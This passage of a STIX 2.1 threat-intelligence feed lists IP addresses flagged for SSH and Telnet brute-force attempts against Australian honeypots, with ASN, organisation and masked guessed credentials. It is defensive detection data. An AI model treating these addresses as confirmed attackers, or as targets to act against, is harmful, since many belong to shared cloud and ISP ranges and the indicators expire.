      "id": "indicator--0b09f7db-8b73-46d9-a5fe-6c1ca8b0c656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.79.142.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T10:15:11.000Z",
      "valid_until": "2026-05-27T10:15:09.000Z"
    },
    {
      "created": "2026-04-25T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, c****e, ***, ***. Passwords observed (masked): 3***********4, 3**********4, A***9, C*****!, Q**********6.",
      "id": "indicator--6ec3b4fd-aec1-4367-bd5d-b108136242b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.178.247.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T10:15:11.000Z",
      "valid_until": "2026-05-27T10:15:09.000Z"
    },
    {
      "created": "2026-04-25T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 5466. Organisation(s): Eir Broadband.",
      "id": "indicator--874eeb6b-19fc-486f-bd87-524b3cfe6d65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.41.193.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T10:15:11.000Z",
      "valid_until": "2026-05-27T10:15:09.000Z"
    },
    {
      "created": "2026-04-25T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--7e7eab8b-c859-4f53-8445-977328ee3142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.219.36.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:15:11.000Z",
      "valid_until": "2026-05-27T11:15:09.000Z"
    },
    {
      "created": "2026-04-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): ***. Passwords observed (masked): n****!.",
      "id": "indicator--2a6dfbf0-b5e2-4358-a854-c0064ed3cb50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.157.223.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:15:11.000Z",
      "valid_until": "2026-05-27T11:15:09.000Z"
    },
    {
      "created": "2026-04-25T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--858f6349-b242-41fc-a083-22bcd579e0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:15:11.000Z",
      "valid_until": "2026-05-27T11:15:09.000Z"
    },
    {
      "created": "2026-04-25T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.120.213.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T11:15:11.000Z",
      "valid_until": "2026-05-27T11:15:09.000Z"
    },
    {
      "created": "2026-04-25T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7506. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, s****r, t**t, u****u, 3**********4. Passwords observed (masked): !*******r, 1******4, ***, 1****6, 1******a.",
      "id": "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.95.157.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:15:11.000Z",
      "valid_until": "2026-05-27T12:15:08.000Z"
    },
    {
      "created": "2026-04-25T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--55f8866c-3b2e-4d34-80f2-db7fa621b174",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.237.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:15:11.000Z",
      "valid_until": "2026-05-27T12:15:08.000Z"
    },
    {
      "created": "2026-04-25T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--5867bc55-73c5-4d62-87c1-5179c8ee8491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.9.231.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:15:11.000Z",
      "valid_until": "2026-05-27T12:15:08.000Z"
    },
    {
      "created": "2026-04-25T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4, ***, i**o, f*****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, A*******., A***********@.",
      "id": "indicator--bc78c83d-17b7-4353-9483-7d09679a3c5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.93.249.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T12:15:11.000Z",
      "valid_until": "2026-05-27T12:15:08.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): A*******..",
      "id": "indicator--d84a25ec-6051-4239-b031-0e9bc2df43e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.51.110.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 216. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, s*****t, b*********e, ***. Passwords observed (masked): a***n, a******3, 0**************D, 1***5, 1******8.",
      "id": "indicator--12117c8e-8e11-473d-b94a-cacf937d3378",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.169.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, 1**4, a***n. Passwords observed (masked): 1**4, a***n, p******d, 1***5, 1****6.",
      "id": "indicator--5f7efb3d-2164-45f9-838f-0129fe2fed82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--62c2dac0-1558-4520-9264-2d306852c2a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.0.7.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): s**n. Passwords observed (masked): .",
      "id": "indicator--ddf341ab-b265-4e44-99b3-6d29268fe495",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--55adb66b-3292-414c-aff4-44993971d304",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T13:15:47.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--1a75d8ac-4112-4935-b528-79e716538a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T13:15:47.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.160.176.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T13:15:47.000Z",
      "valid_until": "2026-05-27T13:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): p******s. Passwords observed (masked): a********p.",
      "id": "indicator--46125dd6-13a6-4982-91b9-b80f2868f4f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.59.95.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, ***, ***, f****e, f**1. Passwords observed (masked): 1****6, Q******!, T******$, U*******6, a****3.",
      "id": "indicator--866cbd1b-c0ec-4bd1-989f-2be6a7795a37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.119.165.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): c****e. Passwords observed (masked): C*******!.",
      "id": "indicator--4b05293e-0759-4de7-82c4-4b8ee362be94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.54.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 17552. Organisation(s): True Online. Usernames observed (masked): r**t, ***, c****e, ***, i**o. Passwords observed (masked): 3***********4, A********A, B******5, C**********6, Q********3.",
      "id": "indicator--3e5e955a-3f23-4de3-99b3-f45980a58907",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.97.32.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited. Usernames observed (masked): r**t, 3**********4, d****y, d********o, **. Passwords observed (masked): 3***********4, 3**********4, 1******R, 1******X, A*******..",
      "id": "indicator--77f42158-79dc-40b6-8379-efb5e7fcd6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.52.109.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): r**t, u**r, 3**********4, ***, c****e. Passwords observed (masked): 1******w, 1******Z, 1******x, 3***********4, 3**********4.",
      "id": "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.91.11.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4, d****y, d********o, d*******r. Passwords observed (masked): 1******R, 1******X, 3***********4, 3**********4, A*******..",
      "id": "indicator--8c38a34f-fad1-4771-918f-59c21f6ad910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.44.190.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2514. Organisation(s): NTT PC Communications, Inc..",
      "id": "indicator--fa618eff-0bc5-4945-afe6-d441af096fcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.102.230.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb. Usernames observed (masked): s***m. Passwords observed (masked): w******6.",
      "id": "indicator--7025afa6-2069-4bc8-b265-0f53bb65db2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.89.75.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): r**t, a***n, 3**********4, f****e, f*****t. Passwords observed (masked): 1******A, 3**********4, 8******1, C*******., D******4.",
      "id": "indicator--17318872-f02f-4cc7-ae04-c06093bcd4bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.56.118.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--9461887b-01cb-4893-977a-8bf15d4d2dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.155.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--fb7aa053-e552-4af2-8875-6d1dfe7ba819",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.215.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T14:15:14.000Z",
      "valid_until": "2026-05-27T14:15:09.000Z"
    },
    {
      "created": "2026-04-25T15:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u****u, 3**********4, d****y, f****e. Passwords observed (masked): 1****3, 1******e, 3***********4, 3**********4, F*******!.",
      "id": "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T15:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:15:20.000Z",
      "valid_until": "2026-05-27T15:15:08.000Z"
    },
    {
      "created": "2026-04-25T15:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 402169. Organisation(s): USCLOUD INC - Uscloud Inc. Usernames observed (masked): r**t, t**t, 3**********4, c**o, f****e. Passwords observed (masked): ***, *, 1****3, 1******m, 1*******#.",
      "id": "indicator--492c01ad-5305-4040-8402-e91b55a34181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T15:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.12.30.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:15:20.000Z",
      "valid_until": "2026-05-27T15:15:08.000Z"
    },
    {
      "created": "2026-04-25T15:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, p*****r, t**t, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******., O****1, R*******!.",
      "id": "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T15:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T15:15:20.000Z",
      "valid_until": "2026-05-27T15:15:08.000Z"
    },
    {
      "created": "2026-04-25T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--43f99998-c6b8-4437-808a-7b966094c387",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.83.49.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:15:11.000Z",
      "valid_until": "2026-05-27T16:15:09.000Z"
    },
    {
      "created": "2026-04-25T16:15:11.000Z",
